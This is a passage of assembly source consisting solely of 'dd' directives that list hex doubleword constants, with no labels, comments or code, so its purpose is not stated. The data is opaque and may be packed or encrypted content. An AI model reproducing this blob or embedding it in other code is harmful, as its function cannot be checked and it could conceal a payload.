0E8FE0581h, 3AD48200h dd 6939FFB8h, 0EE80000Eh, 0D2121936h, 600E92E7h, 471603D5h dd 0D14020C2h, 9FE810h, 0AD6CD61h, 0DB307828h, 0C8AE0660h dd 0EA4714Fh, 0DD180886h, 1A79B40h, 5EF2CB8Ah, 3B6A4C58h dd 39A4BB80h, 92718770h, 8BC09757h, 881EC5h, 66517231h dd 0FDC79A5h, 0CF094F07h, 57D010D5h, 278461h, 7E811575h dd 456744A1h, 37E3C000h, 97173259h, 2B8E0056h, 88723810h dd 407CDAF4h, 915FF800h, 0E1E44D28h, 0A6F4C8h, 4FE083C1h dd 21D00C03h, 0C7D91401h, 0D64BEB4h, 98CE60F8h, 0B585001Dh dd 0B9157672h, 0F0F0190h, 0A15AF120h, 0AED6E8B8h, 7C508D47h dd 13F8B2h, 66FA6C14h dd 0D8FE28E7h, 0AAFD7000h, 3F1A40A7h, 0CD9A0162h, 8D7FE007h dd 3431EC04h, 2EE4C50Fh, 7DF821E5h, 68800DFEh, 21B58682h dd 167ABD3Ah, 7E772700h, 72052026h, 787A67h, 33F0CE0Ch dd 3F6C18FBh, 81C7FC00h, 0FE465C3Bh, 94620077h, 17904815h dd 30070E7Eh, 5C036618h, 41FE4E21h, 0F775F8h, 0A4D2C3Ch dd 0A0C18B49h, 0EF996700h, 6DF16963h, 3F7C13h, 0DC8D39D1h dd 0F06A2BF2h, 6CB14012h, 0F3FD2B00h, 0C36231h, 23EE810Ah dd 857524D9h, 7F144905h, 0B5C5FD45h, 76A39C3h, 0A8427C6Ah dd 7791F073h, 62037BE2h, 0B1B8461Ch, 0D21BE0AFh, 0E83C392Ch dd 61BA1480h, 0F82DF410h, 6CE7201h, 75FF085Dh, 0C60B0EFh dd 0C0E8076Eh, 0D0B6FDA2h, 0C985EC82h, 2B127F71h, 0DF075ED0h dd 64E00D2Ah, 5BB35F4h, 8C063757h, 902BC0F0h, 7034612h dd 497D834Ah, 819DE0A5h, 0B1F90017h, 7C660F3Ah, 0E90206BEh dd 90109ED3h, 12FDC071h, 19130052h, 0F2BCED7Dh, 5004672h dd 8EACBA66h, 7B3182h, 9A2FB3A9h, 0A7504C3h, 4DFFB905h dd 0EE000DDEh, 3E6B322Eh, 74410764h, 132A56D8h, 10B04490h dd 503B55Ch, 0FCC12DA4h, 2E098F0h, 481E005Eh, 0E64B5288h dd 5000CB2Ch, 6D07625Dh, 0F14110Eh, 74778693h, 4C9CC840h dd 0B400AD4Ah, 8CEC465Dh, 103B63h, 15640B72h, 4002291Ch dd 7FDFEB1Fh, 1A388AC0h, 7DF80CC8h, 64F1001Bh, 4BF41626h dd 0F207BA5Eh, 514E444Ch, 342507D0h, 8060094h, 50FE1391h dd 205C67FDh, 575E0011h, 2590E9D6h, 0B47E00E0h, 27E85082h dd 0BB019148h, 9D0EED4Ch, 99F3540Ah, 43FC2B63h, 0DD530F1Fh dd 28E7A65Ch, 5016230Fh, 0EE09F9D8h, 0E8141002h, 6061C720h dd 1EDD8015h, 0C337B81Ch, 9689F104h, 0EC46C3F9h, 0AC1F0EBEh dd 4B009235h, 5C7A68B0h, 0A28D0071h, 0FD267712h, 9A1ECD2Fh dd 514058B5h, 3894492Eh, 4FFF0022h, 2DF6F3C3h, 0AF001109h dd 0D79E7323h, 51D0C8h, 6A621EB6h, 9499F502h, 41585700h dd 0E08A6505h, 0F8F6EBh, 3260B63Eh, 50895951h, 0D09F0300h dd 64EBDFDBh, 1012000Bh, 6233DAB0h, 6B00A7C9h, 94C65565h dd 1A40D5Ah, 0B87604D2h, 0DC8DD34Ch, 48000AE2h, 0CC264A01h dd 0EE51554Eh, 877EA6h, 5277E84Fh, 0DB4D3FE3h, 0C8004AECh dd 142FBECBh, 58C64175h, 551C1E44h, 0B7D0C06Ah, 7C4CB950h dd 94613Dh, 444303BEh, 2CDFE848h, 0F2CD24h, 0C4C6A9B9h dd 400923AAh, 80857CF0h, 0A00AB5B2h, 197F6C7h, 5F0EFC43h dd 0C8FB14F4h, 0AE02750Dh, 44748861h, 5064090h, 9B7BB9h dd 0F859F913h, 0EC020698h, 64AC0405h, 1DEEE4D0h, 574ECF28h dd 4B6F7181h, 0C9606042h, 2A001E75h, 2E8F039Eh, 0FC1CE9h dd 73706C85h, 0B19C7508h, 3A62860Bh, 0E1550077h, 0EE36B6Eh dd 8B1CF3CBh, 1D8866A5h, 0F633C7A8h, 6CC60B8h, 3000077Eh dd 3C961F74h, 0E2ABB49Dh, 0F0440187h, 0A59B3C5h, 0F6823FCEh dd 2E10C08Bh, 2AE200B5h, 0B297C44Ch, 590F44CCh, 40D4E542h dd 0D0112CF2h, 29FF0012h, 0C948A40Ah, 3300AF22h, 581CE1D2h dd 48901h, 0B9B31F56h, 77ECE23Dh, 0DF5E3Dh, 0ADE676A2h dd 7CD5B4ACh, 8F170FF0h, 0FCA53878h, 0C6CDC048h, 2900A4B9h dd 90BBA27h, 0E1F9BAFh, 5DA2D77Dh, 8F806EEFh, 0CEFD3C41h dd 0C80720E9h, 54046A00h, 37503056h, 0DF442568h, 16245500h dd 420099BAh, 90A4D4B8h, 7F4ACC7h, 4A045698h, 0FB8069FAh dd 80102903h, 0AA2CA500h, 0E5784296h, 0BC7E0094h, 28DC4E54h dd 98008C31h, 0A6869B88h, 13BA4AC6h, 7A6A42h, 5EA52FF7h dd 70FACACBh, 8902807Bh, 0C2D40E09h, 825AC0C1h, 25E43Dh dd 75B0A166h, 0E80C5E5Ah, 0DDD0F00h, 13C4F330h, 0FEDB0016h dd 0C32FC2D9h, 0C0003506h, 0F448A23h, 2CFF1Eh, 8F1A4E47h dd 0BC16CC20h, 54FEF80Fh, 9300F2C4h, 0F9558388h, 0FAE900AFh dd 0D8434B5Fh, 2743B53h, 0D27E3Eh, 0C7256A4Ah, 55AE9Dh dd 0EB41120Eh, 0A30FE620h, 144D0500h, 24731682h, 2210032h dd 774CCE54h, 2B005033h, 0B78EF44Dh, 7E9FBE0h, 0BA6DC53Bh dd 8DC0C084h, 29005077h, 0B75AF7E8h, 5C63B9C4h, 9000940Fh dd 1F783352h, 55007EEBh, 4882694h, 7121179h, 0A2C314A4h dd 0FA56F003h, 4E039FACh, 30E2B810h, 7459D898h, 736B040h dd 0C4370E64h, 0F9A9B028h, 0DF900FF0h, 8E006174h, 22AF2516h dd 471C4D6h, 0BAF0207Ah, 0A8FC04h, 671CDC4Dh, 2C5EC64h dd 1A0C5903h, 1EE0B879h, 373E14CEh, 0B4080065h, 0B648E82Ch dd 20990024h, 522D1DCAh, 4BE870A9h, 80E71000h, 0A8C48106h dd 0BB3A00FBh, 5EDA90F5h, 850054E0h, 24D6D07Ah, 710BCF8h dd 810D48D7h, 411BF0BDh, 1C00752Fh, 0EE5C987Ah, 0E88BFD44h dd 25A000D4h, 469437E8h, 23017542h, 0EC971C9Ch, 48F02259h dd 4F6100B5h, 95A0056Ah, 90014EBh, 4A339D2Bh, 20CCC5h dd 0E85CB227h, 45759331h, 8842D01Fh, 24FEF300h, 11196h dd 0BB125F22h, 130A7C54h, 2D05BF00h, 0A915A685h, 0E809003Ch dd 69D61C4Fh, 0BB002145h, 0E0F31E12h, 0B5D831h, 0CE4D59E3h dd 36D022Bh, 832EFF00h, 4B58BFD5h, 26360065h, 3F9DA4C2h dd 5D0038A1h, 0FB40254Eh, 0ECF32DEAh, 4947000Ch, 0F4A49541h dd 0A1FE3B6h, 28C01B6Bh, 0C896C0Dh, 0F8C60F67h, 420CAACh dd 0B026CC91h, 0B4448600h, 9F6BBF06h, 0A4B800D2h, 54FBC10h dd 0C0509DA5h, 6FCC4B6h, 0C800BDEAh, 8D22CC64h, 90504AA3h dd 0A48C0EDCh, 0BC40BA86h, 60078B63h, 806BC63Dh, 520FB6B4h dd 2E01A6h, 45859009h, 0D98C6FC0h, 242C4C00h, 6A107944h dd 0D0A10013h, 7F80F0C2h, 1A012A61h, 409F0F2Fh, 9A70C8C4h dd 7A9700CFh, 0E6B4035Ah, 6A7F2736h, 8ACA5100h, 7CE966A8h dd 10680013h, 99EDA920h, 7B00480Bh, 494F1191h, 0EA406E43h dd 98FAD3h, 0D217A33Bh, 8D7D30ABh, 0B3044700h, 9BBA693h dd 0DDDB0184h, 742D2915h, 90DE4302h, 0E65A41B8h, 7D4A7200h dd 5212C3Dh, 4D6E008Bh, 3B022408h, 0F5000789h, 0C3C7B5FCh dd 5810DBCFh, 5A009471h, 0EC598B7Eh, 8003A234h, 0FC9182B7h dd 0F3C095B4h, 3E6CFEh, 5A8F59F5h, 7E03C48Dh, 0BAF82000h dd 5292B102h, 9A7E6B7h, 78800498h, 0BE00AA74h, 691B6693h dd 168D0034h, 0F254090Eh, 52000429h, 0BA086365h, 36A1D79h dd 331720F3h, 16C309DBh, 0E0D62BC8h, 0FB803F07h, 3BC07F06h dd 2E5DDD34h, 0DF8E4h, 150F0EF1h, 0C3010C8Bh, 85B0D8E8h dd 0FB709CB8h, 0DAE63A5Dh, 0EF1DEB8Ah, 2EC6059Dh, 0FDDBC0D3h dd 55B88B04h, 77FA8503h, 806DE41Fh, 0C7089h, 0A0915A59h dd 8880B494h, 0E42D0A03h, 0A281A54Dh, 0D0B88053h, 67744Ah dd 600F060Bh, 7216EA83h, 0EB100403h, 90F8A123h, 0E421DDDFh dd 74400FCh, 0C50477C1h, 340062C9h, 0CFF14858h, 247DC752h dd 0ABDC50h, 0BCE9776Eh, 0BF01D35Fh, 0F3E07432h, 6F83CCCh dd 0CFE200FCh, 297FB0C4h, 0BD00C27Ah, 168F720Ch, 67E8D3h dd 0D40DA092h, 0C0A10BB9h, 0AF001898h, 0E43B57F0h, 7667DC6h dd 0EECF869h, 100BC33Fh, 927CF4D0h, 50E88060h, 555AC01h dd 68C1A1E0h, 0FB0A8058h, 0FC00EA51h, 0A5666F64h, 0B191CEh dd 117FB762h, 0D3D52DE0h, 0F0466909h, 60558041h, 894831h dd 5BB56FCCh, 0B9BC72AAh, 8C41FC2Ch, 63A6813Dh, 0C183040Ah dd 1F2DF4CCh, 3AFDBBh dd 9AC02456h, 8900AF4Eh, 0B683252h, 0F61F41Bh, 0D61D655Ch dd 6A0D4680h, 8403FB91h, 0FE1EDDEAh, 2353D814h, 3C100055h dd 8EEB7C72h, 0E204471Fh, 0BB379F33h, 0C13596C2h, 10203030h dd 408C012Fh, 0E424AA25h, 0B095201Dh, 36C30307h, 5E50604h dd 2B30487h, 9D09CB08h, 200C9C03h, 160EF80Dh, 1A840090h dd 687013E8h, 93EE6675h, 3825B10Fh, 84FEE0D8h, 985C8A9h dd 54CEE6EAh, 86AC7080h, 4839B042h, 84A9032Ah, 0BB298267h dd 2EAD812h, 7B8300A8h, 0F7F6114h, 7C00A522h, 0B4496847h dd 589C88h, 26961873h, 782F7024h, 0C748018h, 7D6212h, 15235AF0h dd 87B3850Fh, 0B614B17h, 0A6164307h, 2470E471h, 719684FCh dd 66D900A4h, 0A114B8FCh, 2500DA48h, 658B378Dh, 32E0A95h dd 0E81F39B9h, 16E02AA7h, 2098B464h, 57335007h, 0C0C0BE8Bh dd 3AC4443Ah, 3DBC990Bh, 4210C883h, 0B5F87DCCh, 522D0DD0h dd 7F5500D4h, 1F883386h, 0A1AC44h, 8DCABCE4h, 89E82410h dd 96633401h, 5AEB2948h, 0E9490D4h, 5C4A98C8h, 0A0C09CCEh dd 0A832A4C4h, 0C1F317Eh, 95D8102h, 265C80CCh, 0E0696285h dd 6E606E22h, 0A702A68Ah, 0BA8918C9h, 4963E003h, 3CB700BEh dd 0E9CA8BD5h, 65FCD28Ch, 0DDBC7400h, 0B327ED7Ah, 8343077Ch dd 39EFC89h, 0C2B8D00Bh, 0CB0103FDh, 74917208h, 3430641Dh dd 2273002Ch, 0EFA85EC3h, 0F400553Bh, 5969CCA7h, 17D73017h dd 0FDED83h, 0E1E0DD7Dh, 0A176F001h, 7D0B6600h, 855EA488h dd 5D4000A5h, 38FF4C15h, 61DB292h, 0BE004657h, 8835905h dd 0C99407F0h, 0F7CDDBh, 8257E815h, 0F6B82503h, 0B0216ACAh dd 7F90C432h, 858400D4h, 0AC456C26h, 0F67F8139h, 0FECA9800h dd 4DA2A32Eh, 0A1D81D42h, 0DF670180h, 0CC202162h, 5600FC44h dd 0C77FA719h, 728D0C1h, 54FA4802h, 8320FE0Bh, 50798A98h dd 3AA9A83Eh, 183DD8h, 0D1E88980h, 1788B6h, 948A8278h dd 7F913967h, 9E4C2100h, 0DDA5E0ECh, 851C4889h, 0FECB1907h dd 3D10A032h, 2A0040C6h, 9F09010Ch, 72350671h, 0C5B00372h dd 131A65B4h, 9226BBE8h, 0A9A73400h, 8FA8DA24h, 0E47D56h dd 0D8449821h, 0DF23E828h, 9D2AB60Fh, 0F4C2A0AAh, 96CDDC0h dd 415782FFh, 8A503201h, 0B1AA3054h, 58AE6100h, 0EE6DA2Dh dd 60D000A3h, 549E1042h, 8F0009D4h, 0C7D82808h, 0DC940Ch dd 0BE0B846h, 1407529Eh, 8080B93Bh, 9C696E3Bh, 10E68Eh dd 0C4B632BEh, 80661397h, 7AC23C02h, 60E07760h, 0E18A64h dd 4CA29179h, 40F56E42h, 4EF73900h, 8598DFEBh, 27C00F6h dd 300C8A12h, 914CE181h, 444849h, 44B2E906h, 1C26CE2Ch dd 80800140h, 83490579h, 4100FEC9h, 4FBB07Bh, 102B207h dd 658A13EBh, 7A4A3C38h, 2FC224C0h, 6C5E035Fh, 423796C4h dd 0B563DD8h, 0F0074EAh, 0D6E2C7F6h, 0FE8F4Ah, 0A79A2D7h dd 1EC93390h, 5607C500h, 2FCCF814h, 5C1F1C1h, 0BB5460h dd 9CF04CB4h, 0F21217A0h, 537A8E00h, 0BC4E1440h, 568B5884h dd 0DA1C3100h, 479130AFh, 25FE3F00h, 0ABDE13F8h, 0BBAA0716h dd 0B0B6F117h, 72012C02h, 8E741500h, 3947CEA8h, 0BC70049h dd 0FADC7516h, 0E800F43Ch, 0BC8AC52Ah, 6C8D24h, 0ACBE0460h dd 6C70375h, 0EDCC0900h, 0F8463F1Eh, 0F5F2A3h, 0E312F713h dd 89028D61h, 965C66F2h, 951D003Dh, 0FFE281C3h, 0EFE50203h dd 0BFFC6284h, 60E8F7C1h, 4E00ACEBh, 37D7A06Ah, 3B159449h dd 88009547h, 2AF509F7h, 0C3000F73h, 50085EF9h, 1D5540C5h dd 409C926Ah, 0F6013347h, 8A0025EBh, 0D1063544h, 7D05Ch dd 72D8042Ah, 87884316h, 82CDF53Fh, 0AB0D4926h, 0CCF26007h dd 0B7500CBh, 2C683EEh, 0E003255Fh, 7A2A1D0Ah, 0CC50F040h dd 5A1800AAh, 0B9A8285Dh, 10EC086Bh, 75496900h, 6D53F92Ch dd 7C9842h, 0FBE82A14h, 0BF1BEAFAh, 4500B1F6h, 0E05135Eh dd 1567DAh, 22EB92C7h, 7940505Ah, 0DF14BA00h, 0B3C35281h dd 1F5C001Dh, 74ECB808h, 331329ADh, 13004F79h, 0A51BBA9Bh dd 2AB40022h, 0A28670B9h, 0DF0353F0h, 308A0448h, 341CF899h dd 138207EEh, 807DE949h, 0F1A24C3Ah, 1400B1F0h, 1D0FBA2Ch dd 0F88AB788h, 4131EF2h, 3C0EC02Eh, 0E44AA9F3h, 196E4C16h dd 0A280351Dh, 2FB120F4h, 0A51D01BAh, 0C8F59037h, 88A4FCDCh dd 0D11F3Bh, 2D7B5D3Ch, 0E468A3h, 0F8B8292Ah, 8D4C4D2h dd 2044B41Fh, 5AC8007Bh, 0B804EFD8h, 942860FCh, 6D1EBA3Ah dd 751FB77Bh, 0CCDDD022h, 53CFB3Fh, 1AB83155h, 8FF26272h dd 0CF29CFEDh, 3C3FDE0Ah, 0F8510108h, 0F48ACB3Dh, 79C865E0h dd 34251D72h, 0D64A8047h, 0FC1A469Dh, 45E4BA00h, 1FB263D3h dd 0CA143EF0h, 643FC403h, 87A96823h, 0A675DC10h, 57721F0h dd 3CC0E507h, 0BA90F462h, 0F847FCh, 3A8A0CF2h, 6EE24C3h dd 68001B7Ch, 100A211Ch, 0CB8F4h, 0CF66A5C9h, 1D29EB2Bh dd 0F928912Ch, 0F949DA00h, 4160F0Ch, 7DB875F0h, 0DDABC0E3h dd 0F500BA99h, 0B2F46E29h, 0ECA4A4Eh, 0CC3025D4h, 6D064400h dd 647D2F39h, 43FCDD0Fh, 30E2358h, 722CD020h, 266C3E3h dd 0CE8618Ah, 1D007051h, 96684C42h, 60F6F924h, 4120D831h dd 501E724Dh, 51004AE1h, 0B88B440Fh, 3AB3008Ch, 0DB84CE52h dd 7300FB19h, 530B108Eh, 262CCBBh, 37811D7h, 65404B7Fh dd 77008312h, 859F2AC6h, 0E2D0EB43h, 88680053h, 3F094091h dd 0B2007548h, 98F1864Ch, 1531821h, 0A32347E8h, 0D925BD38h dd 5A06EC3Dh, 0B60A5Ch, 13406974h, 3D21E992h, 3E7CA84Bh dd 73030744h, 8F72466Bh, 617053E8h, 45F86300h, 0A2416478h dd 97AB1D10h, 0B2C2C0BBh, 58045D6Ch, 0C800E698h, 0C798928Eh dd 3011DC42h, 0E46E8924h, 0DAC1B0E8h, 22A88F93h, 4844E0F8h dd 31075DA0h, 0B0189198h, 21286490h, 4048881Eh, 5C328085h dd 0F4268800h, 3C704431h, 6887C8FCh, 9E601C9Dh, 58891040h dd 24033C12h, 61884C50h, 9178D048h, 7C403011h, 2C993864h dd 131E30F0h, 2841220Ch, 24D22045h, 31848C4h, 10B1B899h dd 0A2077813h, 51706E08h, 0C0BC3153h, 77B361F8h, 30F03D81h dd 0E80318BCh, 48D4BE01h, 28E0548Ah, 223E29DFh, 88DC0FA1h dd 0C4666019h, 24B044D8h, 33A6267h, 0D0183238h, 0CA88CABh dd 801D24CCh, 601DC872h, 45FC41Fh, 0ACC03C4Eh, 0EBC2484h dd 0B8249912h, 0B4396883h, 0B0A3D4C3h, 0CE9CCE3h, 0F58CF5ACh dd 0E4F0F5A8h, 0D0FCA43Ch, 0CFA01CCFh, 0CF9CCF34h, 9830C7C8h dd 940F4CE4h, 905CC4CCh, 8C39A3A0h, 88E87CFCh, 24CF48FAh dd 38E0AC84h, 7CEFD80h, 1CF47Ch, 68281178h, 89740F18h dd 70EE4C04h, 0DEBF64AEh, 0FBFAC6Ch, 44ED683Ch, 0F8FAF71Eh dd 5CF36007h, 2FE2F84Dh, 3EC8F274h, 0CBA9458h, 0CFF454BAh dd 60475014h, 914CF13Ch, 0F840F930h, 0EFFD1814h, 0CAF0BCF3h dd 9FC700Ah, 7D97E800h, 81BA2098h, 80510995h, 0E0803F60h dd 7446724Eh, 36BC4105h, 0FA8025B9h, 74450AB8h, 0F3133AFCh dd 4A82F980h, 0A4095517h, 10015F01h, 0D2B8057Dh, 7EC099E9h dd 0B1483907h, 0E5500C02h, 5A40800Fh, 202107Dh, 18BF0372h dd 2C7F40FBh, 9B831F4Ch, 0D0FCC08Bh, 282DF876h, 317FFF00h dd 86730232h, 0F3E11CC8h, 0B48D007Eh, 4AA87449h, 66FC400Fh dd 0EBA4A2C1h, 0E76D6123h, 0B0B60FC0h, 0FB80009Bh, 0BC37401h dd 9007704h dd 6C30BFF3h, 7EB03Bh, 1AB8B302h, 4F9D140Dh, 2F588E0Fh dd 8C44A0A1h, 10917BEh, 763352A3h, 0E011D825h, 88028F4Bh dd 0AAC81B1h, 2B57E0C0h, 0C3B01F82h, 86E64084h, 2D3D1480h dd 6D55AA12h, 0E04DFC0Fh, 0CA83BE5h, 11F007Fh, 7CFDF983h dd 0C97E0B1Ah, 4E861C00h, 4A3E80AAh, 0A0401F27h, 0F766C02Fh dd 0D8F320D9h, 0BF1CEB00h, 8F42C311h, 19740091h, 2F8E2C5h dd 8A001508h, 6623A2E0h, 0A20E86ABh, 2A54C0C3h, 4081007Fh dd 0E3FE3306h, 2B00F225h, 5EAB6293h, 0F48A0B14h, 8B8C0F29h dd 116049D2h, 2BB48719h, 86081C01h, 27204EAh, 0EB09330h dd 0E65D8A45h, 0E455BF00h, 0BDF8AA4Ah, 3B6DD21Ch, 90E2EBC0h dd 83067Dh, 0D7DAF7A7h, 0B1E46A6Fh, 0C4008AE0h, 8B5092AAh dd 32DC61h, 258C35F7h, 5B23F1Dh, 49430A01h, 0ED15D50Bh dd 8BE980E7h, 0AA040709h, 10F8DC3Bh, 4B735852h, 830E0F98h dd 0A01D12FAh, 5638BA05h, 496F00E2h, 0EB04D6B5h, 0DB013328h dd 0E03A8889h, 48C0C11Dh, 0F60300B3h, 43DC8AF3h, 1488EACh dd 4B0D002Dh, 3DA0F475h, 0C57C031Eh, 4AEAEB32h, 0C3FF1AA8h dd 3C2EE358h, 0C058073h, 27F97541h, 26CF072Bh, 708EC3F7h dd 81891D8Ah, 46A43200h, 220B6452h, 0F211CF1h, 0D93A0004h dd 0E9027F76h, 8DDDCC00h, 1A9B9C09h, 0C9241790h, 48F805h dd 1E74D03Ch, 7E537651h, 7A293B48h, 0AE92AA8h, 3E80C8Ch dd 0F7CC0784h, 595B407Fh, 0E2014312h, 0AC0BEBDCh, 7DC04A35h dd 5C00041h, 0EADFC42Bh, 26B8B701h, 0BA402A00h, 0BDE7602h dd 1720029Bh, 289958F7h, 2DFDACE0h, 831A473Fh, 0F97E05D4h dd 0EB48DBB6h, 1C51F9A3h, 0C07FFBECh, 1BF52E10h, 6A391338h dd 3600FD20h, 33C81067h, 299D28h, 99593577h, 6E1940D0h dd 0D9D60B1Eh, 69269C40h, 7B2B202Fh, 4470007h, 4FEE0990h dd 0E9EAC1EAh, 136BC200h, 8C5AE8Fh, 5D770Bh, 0DE4F1673h dd 68C61B28h, 0F0578D00h, 5A80E84Ch, 9C220081h, 4BE96CBAh dd 591F13F4h, 60C79001h, 80F7B951h, 0C0A0A4C7h, 0FE6F2B7h dd 0E3AFF599h, 3D46EF20h, 7400344Ah, 0F9C70C17h, 0D11166h dd 16207536h, 1A7E2A52h, 145B3900h, 990F4C0Eh, 54FC079Bh dd 3046BA33h, 403421EBh, 0B716C30Eh, 8745C019h, 0DA74D7h dd 55F0F73Bh, 4E775D05h, 1C042498h, 0D0E9FB26h, 8BF00BBh dd 3CAC1DE3h, 374272Ch, 4D228039h, 103E9620h, 0EF560060h dd 648AEDE2h, 47F1906h, 52450B07h, 0C373020Dh, 3AAC88C0h dd 0D0F400C4h, 0F7141BB2h, 0FF00E7EBh, 89BBA865h, 18E318Ch dd 0A1C76630h, 0F08693BFh, 0F8125588h, 88006106h, 0D1267423h dd 3925E430h, 2C002EE1h, 33C697F3h, 352E44C1h, 3A398931h dd 653B3Ah, 1896DF36h, 0D78B46h, 424039EBh, 0D32D4CD8h dd 1EDBFE01h, 0CABF79DAh, 83C7D4h, 0F7D9E880h, 0EC5589C1h dd 3E60CB00h, 0EB01F8A2h, 71A400B6h, 1432AF43h, 0A7002DAEh dd 0A1B42B93h, 9C0FFAh, 0FBC1B801h, 589666EBh, 116BEC00h dd 2703F80Eh, 0A6D83DA0h, 4EE5C180h, 0E02D6EBDh, 4FD58709h dd 0E4E7006Ah, 222C35Bh, 6084482Ah, 61E06B29h, 0E48BA13h dd 0C20776A2h, 5721C385h, 2BE35680h, 0D874030Dh, 0D680DCC7h dd 0D1F0EAF8h, 5D8D6300h, 28C25F90h, 0E7FC0008h, 0A4F8C4CAh dd 270045CEh, 48F324DAh, 1E1E91EFh, 40441A22h, 7538920h dd 0C0074FC4h, 0E6E8D4A3h, 0ACCD82D0h, 0C66E00B7h, 0F43FF02Bh dd 803C2606h, 0C0FE02FCh, 60752D0Ah, 59DE4ABh, 412E74C4h dd 0A4A68146h, 5ECDE4F9h, 3880500h, 0EE8A6B53h, 8DCF1F2Ah dd 0D6AD8742h, 0EB5BF0ABh, 0A400CC88h, 0D8DEA1C3h, 1B8C41h dd 7FD307Ch, 4DFF01F5h, 7475F425h, 0BB0D00C4h, 3414DE45h dd 0E40FC400h, 41AB127Eh, 43290104h, 4B0B1F91h, 0F9987150h dd 0DEC16031h, 6BB86600h, 2E6C9622h, 9E1E00EBh, 9A88FC25h dd 0DD004517h, 0F7EE7E0h, 1CC9B258h, 808DF228h, 0BF065975h dd 0C200AA9Ah, 45D36649h, 64E31Ah, 0A9F938B4h, 847A16D8h dd 736D3100h, 0C92E3283h, 8DA70008h, 0D0445F46h, 0F5008925h dd 0A03D0320h, 58227507h, 4600BB09h, 119FA506h, 737B90AAh dd 9D7E811Fh, 326B800h, 0E1340h, 0CDC43C6h, 0DB8D6BE9h dd 2D2E0801h, 69053FFFh, 2104E12Fh, 5B6C7048h, 83C44000h dd 0E051ECA2h, 0E1D901F4h, 72BFE837h, 0DBFCD80Eh, 749C2D00h dd 9BF2D8A7h, 83DD3C48h, 0FAA8D401h, 0FC410B70h, 9A00DA09h dd 0F8EF80BCh, 7E675DFh, 3187BF2h, 9B6BF0BAh, 4400148Ah dd 7DDE515h, 8E8C0h, 660F7004h, 45E33005h, 621DE27Ch, 480032EBh dd 64CBCAAh, 82F0073h, 8205C879h, 0C00F83Bh, 0A303C96h dd 712FF83h, 8027730Fh, 351F707Ch, 44E425C6h, 4FE00E00h dd 0FE0D781Ah, 13800011h, 0EBED7739h, 2F981F14h, 3128A601h dd 525F9862h, 7A533530h, 21190325h, 0F150A190h, 77835688h dd 0C1303A00h, 389D6EAh, 53120088h, 6A80C302h, 6008BEEh dd 0A0042ECEh, 7CA0BC8h, 0B46B840Fh, 79FC4069h, 5C2C9DAEh dd 0EA008361h, 1EFF13F3h, 607A00D1h, 1F7C04F6h, 0F4891BFh dd 82D0EFDh, 81A70064h, 0B6B3DAh, 15730DE0h, 0E0549F2h dd 27D22103h, 98989378h, 0DFF410h, 0B8D7146Dh, 0C22B122Ah dd 0DA790104h, 9FC18534h, 0E44062F5h, 614057h, 0F7A4B91Bh dd 0C0DF6A1h, 0F93DFE00h, 24C4811Eh, 1F75000Fh, 0EBECCC49h dd 0A00397Bh, 0AA3004C1h, 1E7820h, 2122D489h, 0EA44316Ch dd 0B009873h, 3134C8Dh, 0C61602h, 80D58207h, 0F7D1853Fh dd 0CCB9540Eh, 0E5EB271Fh, 88D271E0h, 0D5FB008Ah, 6FF19E9h dd 0B900F008h, 9D9B1CD1h, 261EBA7Dh, 27E2DBh, 6BF89A6h dd 0F600E8EEh, 3E13C185h, 5C0DFF80h, 303AD7C5h, 464E0107h dd 7075F0FCh, 7D008286h, 53A0CE0h, 2C6699h, 1246152Bh dd 3B1F0748h, 4AD8CE1Fh, 0B0DF2400h, 5CD4B81Dh, 0E83B960Ch dd 2A582B80h, 9C43D003h, 0DE252404h, 0BDC11362h, 0AAFC8498h dd 1C35F212h, 825002F9h, 3E52E0D9h, 3FDFB0E0h, 0DB6EEB00h dd 8AFF9B8Eh, 0D2A90266h, 0B0179E26h, 0DD90C1E3h, 527F89BCh dd 906D2800h, 0C30B859Bh, 989900ACh, 4ECA4320h, 0C40027DDh dd 0F03A2CF3h, 0F730Ah, 290DDA26h, 0CE904349h, 53B80600h dd 131CEA52h, 140E008Ah, 619DB3CAh, 0A93D9428h, 6BE4002Ah dd 9040EDD2h, 0F4FA0381h, 720A9E9Ch, 2143801h, 0BCC54BB5h dd 0B871F8h, 250E978Ah, 0F0340F4h, 0B67850Fh, 7606A055h dd 0FE81216h, 3F957AA7h, 741B0520h, 1C002029h, 16B93862h dd 3C278B40h, 0DF8FB015h, 5B40C477h, 0B932D1B8h, 3D52073Fh dd 34450030h, 0AF3F272Bh, 43906Ah, 511008EEh, 88154B90h dd 42003EB8h, 0E40C2344h, 1E793A14h, 73918Ah, 85080A5Ch dd 0B11E0490h, 210074FCh, 2CEC64F8h, 60422CE0h, 56520027h dd 97915014h, 0CF19507h, 8762FC78h, 8225C008h, 0B8400073h dd 8C5D54BCh, 8D0024D7h, 158B64A8h, 8043F3h, 0CB4EC93Dh dd 1C303312h, 9810BA00h, 708D404Bh, 734F00D4h, 76B30BC4h dd 743F8744h, 0EC7A8045h, 5798F20Dh, 258C006Fh, 302F206Eh dd 42E4F178h, 1C0E397Eh, 0E7760410h, 0A8340E1h, 2B110082h dd 5025D453h, 8B0BB273h, 33E9ABAh, 0F860A7EEh, 0E1A5D84Eh dd 1318960h, 0F71EE3DBh, 408A07D0h, 97C1FF8Fh, 0D80E1879h dd 0D108B3h dd 350573E0h, 71060B41h, 70809DDBh, 0ACE6E2F3h, 85C33803h dd 0B9038B61h, 53F8F420h, 1F30E618h, 3085DF2h, 98DB0CE6h dd 0F410E099h, 8D122E7Ch, 0E0E3353h, 0E7D140B0h, 0D74DFDh dd 0AEF8DC3Dh, 0F2015AC3h, 76F68500h, 3C647163h, 0CAE029h dd 0EEE0E9C1h, 35FF983h, 1F7E800h, 0E78166FAh, 0BA0F00FFh dd 2CE5C26h, 0C7003BF8h, 9DD02177h, 10CDF5h, 4E14069Fh dd 0E09373FAh, 0B507247Eh, 47E88801h, 0C5BF023Bh, 0EB3FC07Eh dd 212C011Ch, 1F0F5372h, 0CC10E4C6h, 4E0002E0h, 0B8B9D75h dd 0E498C985h, 0FF7A3E35h, 3BCAFB80h, 4F5FE15Ah, 0E54EB014h dd 2BA9008Ch, 4C770CBAh, 0DAB8177Dh, 0C2690145h, 30080110h dd 0CE1F71A7h, 3ABE5920h, 16378099h, 0B1438D27h, 0E06E00C3h dd 0E9775A35h, 0CC03CA55h, 0C085C950h, 0C73CA876h, 0D6810033h dd 0F30C5D70h, 100E540h, 0DC92772h, 71C2F002h, 0D68B3E13h dd 0CF507480h, 0F8D103D2h, 87057539h, 0CEB3201h, 0B4A6B080h dd 0A02F0054h, 91757948h, 11FE42A5h, 0B657700h, 75676B5h dd 5478ABh, 9D7B22BBh, 0BFAE3CECh, 0B10C7000h, 9A2DC2B4h dd 0A049481Ch, 